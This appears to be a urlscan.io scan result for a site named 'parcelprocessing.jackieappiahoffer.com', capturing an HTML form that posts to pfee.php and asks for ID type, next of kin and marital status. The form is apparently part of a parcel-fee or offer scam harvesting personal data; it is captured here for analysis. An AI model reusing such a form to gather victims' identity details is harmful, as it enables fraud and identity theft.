parcelprocessing.jackieappiahoffer.com Open in urlscan Pro
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Form analysis
1 forms found in the DOM

POST pfee.php

<form action="pfee.php" method="post">
  <fieldset>
    <legend>
      <h1>Means of Participation</h1>
    </legend>
    <div>
      <br><br><b>Select Means of Participation: <select name="participation">
<option>-Select-</option>
<option>Facebook</option>
<option>Instagram </option>
<option>Tiktok</option>
<option>Telegram</option>
<option>Twitter (X)</option>
<option>Multi-Network</option>
<option>Family, Friend or Colleague</option>

</select> <b> <br><br><b>Select Means of Identification: <select name="Identification">
<option>-Select-</option>
<option>Ghana Card</option>
<option>Voters Card</option>
<option>Passport</option>
<option>Driver’s license</option>
<option>Student I.D Card(X)</option>
<option>ID Card No</option>
<option>Next of kin</option>
<option>Marital status</option>

</select> <b> <br><br><b>Next of kin: <input name="nkin" type="text"> <b> <br><br><b>Marital status: <input name="mstatus" type="text"> <b><br>
        <br>
        <br>
        </b></b></b></b></b></b></b></b>
    </div><b><b><b>
         <div class="submit">
            <input type="submit" value="Next">
        </div>
    </b></b></b>
  </fieldset><b><b><b>


&nbsp;</b></b></b>
</form>

Text Content

 

 


MEANS OF PARTICIPATION



Select Means of Participation: -Select- Facebook Instagram Tiktok Telegram
Twitter (X) Multi-Network Family, Friend or Colleague

Select Means of Identification: -Select- Ghana Card Voters Card Passport
Driver’s license Student I.D Card(X) ID Card No Next of kin Marital status

Next of kin:

Marital status: